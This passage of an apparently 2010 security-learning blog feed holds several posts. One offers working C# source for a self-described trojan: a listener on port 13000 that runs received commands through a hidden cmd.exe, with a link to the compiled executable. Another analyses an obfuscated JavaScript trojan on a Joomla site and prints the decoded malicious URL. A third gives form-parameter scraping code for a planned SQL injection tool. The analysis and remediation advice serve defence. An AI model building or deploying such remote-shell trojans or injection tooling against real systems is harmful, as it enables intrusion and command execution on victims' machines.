Simply run the trojan on the target machine and connect to it through port 13000 using telnet or netcat. After the connection had established, you may execute any shell command on the target machine:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_rNjDLITw7fI/S9ydKEMlh8I/AAAAAAAAABY/cFw6kqIhdLw/s1600/sc.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="150" src="http://4.bp.blogspot.com/_rNjDLITw7fI/S9ydKEMlh8I/AAAAAAAAABY/cFw6kqIhdLw/s400/sc.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div align="left"&gt;code:&lt;br /&gt;
&lt;/div&gt;&lt;pre class="csharp" name="code"&gt;[STAThread]
        static void Main()
        {
            ProcessStartInfo processInfo;
            Process process;
            TcpListener server = null;
            bool isFirst = true;

            try
            {
                // Set the TcpListener on port 13000.
                Int32 port = 13000;
                // Set the server to run locally
                IPAddress localAddr = IPAddress.Parse("127.0.0.1");
                server = new TcpListener(localAddr, port);
                // Start listening for client requests.
                server.Start();
                // Buffer for reading data
                Byte[] bytes = new Byte[256];
                String command = null;
                int i;
                string recv_char;
                byte[] msg;
                // Perform a blocking call to accept requests.
                TcpClient client = server.AcceptTcpClient();
                // Get a stream object for reading and writing
                NetworkStream stream = client.GetStream();
                // Say hello
                msg = System.Text.Encoding.ASCII.GetBytes("Welcome Master! enter a command to execute or enter exit:\r\n");
                stream.Write(msg, 0, msg.Length);

                // Enter the listening loop.
                while (true)
                {
                    if (!isFirst)
                    {
                        msg = System.Text.Encoding.ASCII.GetBytes("Enter a command:\r\n");
                        stream.Write(msg, 0, msg.Length);
                    }
                    // reset the command                                        
                    command = null;                                        

                    // Loop to receive all the data sent by the client.
                    while ((i = stream.Read(bytes, 0, bytes.Length)) != 0)
                    {                        
                        // Translate data bytes to a ASCII string.
                        recv_char = System.Text.Encoding.ASCII.GetString(bytes, 0, i);
                        command += recv_char;
                        if (command.Contains("\n"))
                            break;
                    }
                    if (command.Equals("exit\r\n"))
                    {
                        // If exit entered shutdown and end connection
                        msg = System.Text.Encoding.ASCII.GetBytes("Bye Bye Master...\r\n");
                        stream.Write(msg, 0, msg.Length);
                        client.Close();
                        break;
                    }
                    // execute the command received (/C to terminate process after execution):
                    processInfo = new ProcessStartInfo("cmd.exe", "/C " + command);
                    processInfo.CreateNoWindow = true; // don't open a window
                    processInfo.RedirectStandardOutput = true; // don't show output
                    processInfo.UseShellExecute = false; // don't use a shell
                    process = Process.Start(processInfo); // start the process                    
                    string output = process.StandardOutput.ReadToEnd();
                    process.Close(); // close the process 
                    isFirst = false;                   
                    if (output != null)
                    {
                        msg = System.Text.Encoding.ASCII.GetBytes(output + "\n");
                        // Send back a response.
                        stream.Write(msg, 0, msg.Length);
                    }
                    else
                    {
                        msg = System.Text.Encoding.ASCII.GetBytes("Sorry Master, command execution failed\r\n");
                        // Send back a response.
                        stream.Write(msg, 0, msg.Length);
                    }                    
                }                
            }
            catch
            {
                // do nothing
            }
            finally
            {
                // Stop listening for new clients.
                server.Stop();
            }
        }        
&lt;/pre&gt;You may download the executable file from &lt;a href="http://www.mediafire.com/file/xkz2meljvtz/sharp shell background.rar"&gt;here&lt;/a&gt;.&lt;br /&gt;
Oh.. and don't forget to kill that process when you finish playing with it :)&lt;br /&gt;
&lt;br /&gt;
-herzel&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4498549947524862652-3473350659534407949?l=noobys-journey.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/4-wS8jXMWhHUDpndywxGFByckzg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/4-wS8jXMWhHUDpndywxGFByckzg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/4-wS8jXMWhHUDpndywxGFByckzg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/4-wS8jXMWhHUDpndywxGFByckzg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FirstStepsIntoTheWorldOfWebApplicationSecurity/~4/lLGt8pQ-cH8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://noobys-journey.blogspot.com/feeds/3473350659534407949/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://noobys-journey.blogspot.com/2010/05/my-own-c-trojan-remote-shell-command.html#comment-form" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4498549947524862652/posts/default/3473350659534407949?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4498549947524862652/posts/default/3473350659534407949?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FirstStepsIntoTheWorldOfWebApplicationSecurity/~3/lLGt8pQ-cH8/my-own-c-trojan-remote-shell-command.html" title="My own C# trojan - remote shell command execution" /><author><name>Herzel</name><uri>http://www.blogger.com/profile/05986336398129791786</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://3.bp.blogspot.com/_rNjDLITw7fI/S0zDwy2VBqI/AAAAAAAAAAs/K1b8-PD4iOY/S220/P9221548.JPG" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_rNjDLITw7fI/S9ydKEMlh8I/AAAAAAAAABY/cFw6kqIhdLw/s72-c/sc.jpg" height="72" width="72" /><thr:total>4</thr:total><feedburner:origLink>http://noobys-journey.blogspot.com/2010/05/my-own-c-trojan-remote-shell-command.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkYFQ347eSp7ImA9WxFWFUg.&quot;"><id>tag:blogger.com,1999:blog-4498549947524862652.post-3142494319916025051</id><published>2010-01-16T01:57:00.000-08:00</published><updated>2010-06-03T00:28:32.001-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-06-03T00:28:32.001-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="steal bank credentials" /><category scheme="http://www.blogger.com/atom/ns#" term="analysis" /><category scheme="http://www.blogger.com/atom/ns#" term="Javascript Trojan" /><category scheme="http://www.blogger.com/atom/ns#" term="obfuscation" /><category scheme="http://www.blogger.com/atom/ns#" term="Joomla" /><category scheme="http://www.blogger.com/atom/ns#" term="remove trojan" /><category scheme="http://www.blogger.com/atom/ns#" term="trojan analysis" /><category scheme="http://www.blogger.com/atom/ns#" term="code obfuscation" /><category scheme="http://www.blogger.com/atom/ns#" term="Trojan" /><title>Analysis of a Javascript Trojan found on a joomla based website</title><content type="html">Yesterday, I got my first freelance job. The owner of the website described that users are complaining that their spyware detection application alerts whenever they open some pages on the website.&lt;br /&gt;
It didn't take a while to figure out where the Trojan is hiding and how its attacking.&lt;br /&gt;
As soon as I opened the about and the contact pages, Nod32 alerted that the pages I'm viewing contain a malicious javascript. When i viewed the source code I saw this suspicious script:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_rNjDLITw7fI/S1F5AV1gyvI/AAAAAAAAABQ/-Lu2y3hhbuI/s1600-h/Untitled.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="176" src="http://1.bp.blogspot.com/_rNjDLITw7fI/S1F5AV1gyvI/AAAAAAAAABQ/-Lu2y3hhbuI/s400/Untitled.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The interesting part is that strange code that starts from line 7 to line 13. This code is&amp;nbsp; the second parameter of the setAttribute function. It looks like this: setAttribute('src', strange code).&lt;br /&gt;
This function is used to set the value of an attribute on an object. It is typically used along with objects returned by document.getElementById to assign a new value to the object's attribute.&lt;br /&gt;
Notice the string.replace function at line 13? it replaces the charactes &lt;i&gt;!, @, #, $, %, ^, &amp;amp;, (, )&lt;/i&gt; with blank. I created a simple Python code that does this replacement:&lt;br /&gt;
&lt;pre class="python" name="code"&gt;import sys

strange_code = 'h#&amp;amp;#t&amp;amp;#!t$!@p):)$/!&amp;amp;^/!x#^&amp;amp;t@#&amp;amp;u@b($!)e#(-)c^@$&amp;amp;o#(#m^!$^.&amp;amp;$)b$($l$o!(#&amp;amp;)g(&amp;amp;g)(^$e!$r#@(.@^&amp;amp;(c(o^#m@)!#.)#p!(@o&amp;amp;r@)n(^$o$!^r&amp;amp;!a$)&amp;amp;m$@a$^$@-!c((^o#($m!.&amp;amp;#b$^$l)^u!$!e((#@)j@@a@)@c#k)!^m^(u$$!(s@$@i^@c@&amp;amp;.!@)r@u(!:(^8&amp;amp;@!)!0@)8)@#0&amp;amp;(!/$&amp;amp;)h^d$@$f$(^c^)b@$&amp;amp;a)^n^(k^#.&amp;amp;@^&amp;amp;c#(!#$o^m!)#/!h^@#d(&amp;amp;f)&amp;amp;c^()b#(a^$!n&amp;amp;^(#$k^#.!$c)o))m)&amp;amp;&amp;amp;/($&amp;amp;!g$$o!)o^()g))@(l$^@)e#^&amp;amp;.&amp;amp;&amp;amp;c^(o()m@!)(/(&amp;amp;f)#a!!@n!$@p))o)((p!^#.@c^!@o&amp;amp;@m)@&amp;amp;/@!!i&amp;amp;n^#!.&amp;amp;#!c)))!o(m#/)((!'

strange_code = strange_code.replace('!', '')
strange_code = strange_code.replace('@', '')
strange_code = strange_code.replace('#', '')
strange_code = strange_code.replace('$', '')
strange_code = strange_code.replace('%', '')
strange_code = strange_code.replace('^', '')
strange_code = strange_code.replace('&amp;amp;', '')
strange_code = strange_code.replace('(', '')
strange_code = strange_code.replace(')', '')

print strange_code
&lt;/pre&gt;The result:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
http://xtube-com.blogger.com.pornorama-com.bluejackmusic.ru:8080/hdfcbank.com/hdfcbank.com/google.com/fanpop.com/in.com/&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
Basically this script adds a reference to a javascript file that is located at the address above. I followed the address of this file and found a script that opens an invisible iframe. By this invisible iframe the attackers can steal information such as online banking credentials.&lt;br /&gt;
How to remove this this Trojan?&lt;br /&gt;
Simply remove it from every page you find it in.&lt;br /&gt;
How to avoid it from infecting your files again?&lt;br /&gt;
It probably infected the files through the FTP, so:&lt;br /&gt;
1. Change your FTP credentials.&lt;br /&gt;
2. Install a good anti-spyware application.&lt;br /&gt;
3. Don't use public machines to access your FTP.&lt;br /&gt;
4. Check the files that users are uploading to your website.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4498549947524862652-3142494319916025051?l=noobys-journey.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/mD7XgngiifsKtUjoSLVrLFcD0vQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/mD7XgngiifsKtUjoSLVrLFcD0vQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/mD7XgngiifsKtUjoSLVrLFcD0vQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/mD7XgngiifsKtUjoSLVrLFcD0vQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FirstStepsIntoTheWorldOfWebApplicationSecurity/~4/5SlYglDG52Q" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://noobys-journey.blogspot.com/feeds/3142494319916025051/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://noobys-journey.blogspot.com/2010/01/analysis-of-javascript-trojan-found-on.html#comment-form" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4498549947524862652/posts/default/3142494319916025051?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4498549947524862652/posts/default/3142494319916025051?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FirstStepsIntoTheWorldOfWebApplicationSecurity/~3/5SlYglDG52Q/analysis-of-javascript-trojan-found-on.html" title="Analysis of a Javascript Trojan found on a joomla based website" /><author><name>Herzel</name><uri>http://www.blogger.com/profile/05986336398129791786</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://3.bp.blogspot.com/_rNjDLITw7fI/S0zDwy2VBqI/AAAAAAAAAAs/K1b8-PD4iOY/S220/P9221548.JPG" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_rNjDLITw7fI/S1F5AV1gyvI/AAAAAAAAABQ/-Lu2y3hhbuI/s72-c/Untitled.jpg" height="72" width="72" /><thr:total>4</thr:total><feedburner:origLink>http://noobys-journey.blogspot.com/2010/01/analysis-of-javascript-trojan-found-on.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEYBRnc7fSp7ImA9WxBQE0U.&quot;"><id>tag:blogger.com,1999:blog-4498549947524862652.post-5257593129354102233</id><published>2010-01-08T13:12:00.000-08:00</published><updated>2010-01-13T03:29:17.905-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-13T03:29:17.905-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="open source" /><category scheme="http://www.blogger.com/atom/ns#" term="application security" /><category scheme="http://www.blogger.com/atom/ns#" term="BeautifulSoup" /><category scheme="http://www.blogger.com/atom/ns#" term="automatic SQL injection" /><category scheme="http://www.blogger.com/atom/ns#" term="HTML parser" /><category scheme="http://www.blogger.com/atom/ns#" term="Python" /><category scheme="http://www.blogger.com/atom/ns#" term="web scraper" /><title>Automatic SQL injection tool using Python - Part 1</title><content type="html">This is a first post of several, in which I'll create a simple SQL injection tool using Python. Actually this is also the first time I program in Python, so comments and improvements suggestions are welcome.&lt;br /&gt;In order to automate the injection we must first discover the injection points. The injection points are the HTML form parameters (POST and GET parameters). To extract those parameters I used BeautifulSoup, which is a simple and effective HTML parser.&lt;br /&gt;With BeautifulSoup its easy to build applications that process web pages, such as a web scraper. You can get the parser from this website &lt;a href="http://www.crummy.com/software/BeautifulSoup/download/3.x/BeautifulSoup-3.0.0.py"&gt; www.crummy.com/software/BeautifulSoup/download/3.x/BeautifulSoup-3.0.0.py&lt;/a&gt;. Change the name of the file to BeautifulSoup.py and then place it under the site-packages folder. For example if you use Windows OS and Python 2.5, it should be under "C:\Python25\Lib\site-packages", if you use Linux OS and Python 2.5, it should be under "/usr/lib/python2.5/site-packages".&lt;br /&gt;The code:&lt;br /&gt;&lt;pre name="code" class="python"&gt;&lt;br /&gt;import urllib2,sys&lt;br /&gt;&lt;br /&gt;if len(sys.argv) != 3:&lt;br /&gt;        print "Usage: post_params.py [GET/POST] [url]"&lt;br /&gt;        sys.exit(1)&lt;br /&gt;&lt;br /&gt;method = sys.argv[1].lower()    &lt;br /&gt;address = sys.argv[2]&lt;br /&gt;if address.find('\\') != -1:&lt;br /&gt;        address = address[:-1]&lt;br /&gt;&lt;br /&gt;# load the html page into a string variable&lt;br /&gt;html = urllib2.urlopen(address).read()&lt;br /&gt;&lt;br /&gt;from BeautifulSoup import BeautifulSoup&lt;br /&gt;&lt;br /&gt;#load the string into a BeautifulSoup object and 'prettify' the code&lt;br /&gt;soup = BeautifulSoup(html)&lt;br /&gt;&lt;br /&gt;def printParams(forms):&lt;br /&gt;        # for each form tag in all form tags, do:        &lt;br /&gt;        for form in forms:&lt;br /&gt;            print "-----------------------------------------------------------"&lt;br /&gt;            if form.has_key('action'):&lt;br /&gt;                if form['action'].find('://') == -1:                        &lt;br /&gt;                        print "action: " + address + "/" + form['action'].strip('/')&lt;br /&gt;                else:&lt;br /&gt;                        print "action: " + address                  &lt;br /&gt;            else:&lt;br /&gt;                print "action: " + address&lt;br /&gt;            if method == "post":&lt;br /&gt;                    if form.has_key('method') and form['method'].lower() == 'post':&lt;br /&gt;                            for post_input in form.findAll("input"):&lt;br /&gt;                                    if post_input.has_key('type'):&lt;br /&gt;                                        if post_input['type'].lower() == 'text' or \&lt;br /&gt;                                          post_input['type'].lower() == 'password' or \&lt;br /&gt;                                          post_input['type'].lower() == 'hidden'or \&lt;br /&gt;                                           post_input['type'].lower() == 'radio':&lt;br /&gt;                                                if post_input.has_key('id'):&lt;br /&gt;                                                        print post_input['id']&lt;br /&gt;                                                elif post_input.has_key('name'):&lt;br /&gt;                                                        print post_input['name']&lt;br /&gt;            elif method == "get":&lt;br /&gt;                    if form.has_key('method') and form['method'].lower() == 'get' or \&lt;br /&gt;                       not form.has_key('method'):&lt;br /&gt;                            for get_input in form.findAll("input"):                       &lt;br /&gt;                                    if get_input.has_key('type'):&lt;br /&gt;                                        if get_input['type'].lower() == 'text' or \&lt;br /&gt;                                          get_input['type'].lower() == 'password' or \&lt;br /&gt;                                          get_input['type'].lower() == 'hidden'or \&lt;br /&gt;                                          get_input['type'].lower() == 'radio':&lt;br /&gt;                                                if get_input.has_key('id'):&lt;br /&gt;                                                        print get_input['id']&lt;br /&gt;                                                elif get_input.has_key('name'):&lt;br /&gt;                                                        print get_input['name']&lt;br /&gt;&lt;br /&gt;# find all occurrences of the form tag and send it to printParams      &lt;br /&gt;printParams(soup.findAll("form"))&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;You can also download the source file from &lt;a href="http://www.filefactory.com/file/a18ggf7/n/form_params.py "&gt;here&lt;/a&gt;.&lt;br /&gt;Usage: form_params.py method url&lt;br /&gt;method: post or get&lt;br /&gt;example: form_params.py post http://www.facebook.com&lt;br /&gt;result:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;-----------------------------------------------------------&lt;br /&gt;action: http://www.facebook.com&lt;br /&gt;charset_test&lt;br /&gt;locale&lt;br /&gt;non_com_login&lt;br /&gt;email&lt;br /&gt;pass&lt;br /&gt;pass_placeholder&lt;br /&gt;charset_test&lt;br /&gt;lsd&lt;br /&gt;-----------------------------------------------------------&lt;br /&gt;action: http://www.facebook.com&lt;br /&gt;charset_test&lt;br /&gt;locale&lt;br /&gt;terms&lt;br /&gt;reg_instance&lt;br /&gt;firstname&lt;br /&gt;lastname&lt;br /&gt;reg_email__&lt;br /&gt;reg_passwd__&lt;br /&gt;referrer&lt;br /&gt;challenge&lt;br /&gt;md5pass&lt;br /&gt;captcha_persist_data&lt;br /&gt;captcha_session&lt;br /&gt;extra_challenge_params&lt;br /&gt;captcha_response&lt;br /&gt;-----------------------------------------------------------&lt;br /&gt;action: http://www.facebook.com&lt;br /&gt;locale&lt;br /&gt;confirmation_email&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;-Herzel&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4498549947524862652-5257593129354102233?l=noobys-journey.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/4j-zn3pQ92DS6QHonUaMcUfkP7g/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/4j-zn3pQ92DS6QHonUaMcUfkP7g/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/4j-zn3pQ92DS6QHonUaMcUfkP7g/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/4j-zn3pQ92DS6QHonUaMcUfkP7g/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FirstStepsIntoTheWorldOfWebApplicationSecurity/~4/9lFcBhmGj_w" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://noobys-journey.blogspot.com/feeds/5257593129354102233/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://noobys-journey.blogspot.com/2010/01/automatic-sql-injection-tool-using.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4498549947524862652/posts/default/5257593129354102233?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4498549947524862652/posts/default/5257593129354102233?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FirstStepsIntoTheWorldOfWebApplicationSecurity/~3/9lFcBhmGj_w/automatic-sql-injection-tool-using.html" title="Automatic SQL injection tool using Python - Part 1" /><author><name>Herzel</name><uri>http://www.blogger.com/profile/05986336398129791786</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://3.bp.blogspot.com/_rNjDLITw7fI/S0zDwy2VBqI/AAAAAAAAAAs/K1b8-PD4iOY/S220/P9221548.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://noobys-journey.blogspot.com/2010/01/automatic-sql-injection-tool-using.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEYGRHo7eip7ImA9WxBQE0U.&quot;"><id>tag:blogger.com,1999:blog-4498549947524862652.post-8575723783747519684</id><published>2010-01-02T22:41:00.000-08:00</published><updated>2010-01-13T03:28:45.402-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-13T03:28:45.402-08:00</app:edited><title>My first blog post</title><content type="html">Welcome to my first post.&lt;br /&gt;In this blog I intend to write mostly about my experience and discoveries with information security related issues. &lt;br /&gt;Recently I started working at AppliCure Technologies, which is a software company who's main product is a WAF (Web Application Firewall).&lt;br /&gt;The world of information security always intrigued me, but I never addressed it seriously. Well, I hope to change that now.&lt;br /&gt;Later on I intend to share discoveries, write code or maybe just express an opinion. Hope you enjoy this blog.&lt;br /&gt;&lt;br /&gt;- Herzel&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4498549947524862652-8575723783747519684?l=noobys-journey.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/qefekqy_9d1q7x0w6RcIctUqzbw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/qefekqy_9d1q7x0w6RcIctUqzbw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/qefekqy_9d1q7x0w6RcIctUqzbw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/qefekqy_9d1q7x0w6RcIctUqzbw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FirstStepsIntoTheWorldOfWebApplicationSecurity/~4/_2t9S76c0RU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://noobys-journey.blogspot.com/feeds/8575723783747519684/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://noobys-journey.blogspot.com/2010/01/my-first-blog-post.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4498549947524862652/posts/default/8575723783747519684?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4498549947524862652/posts/default/8575723783747519684?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FirstStepsIntoTheWorldOfWebApplicationSecurity/~3/_2t9S76c0RU/my-first-blog-post.html" title="My first blog post" /><author><name>Herzel</name><uri>http://www.blogger.com/profile/05986336398129791786</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://3.bp.blogspot.com/_rNjDLITw7fI/S0zDwy2VBqI/AAAAAAAAAAs/K1b8-PD4iOY/S220/P9221548.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://noobys-journey.blogspot.com/2010/01/my-first-blog-post.html</feedburner:origLink></entry></feed>

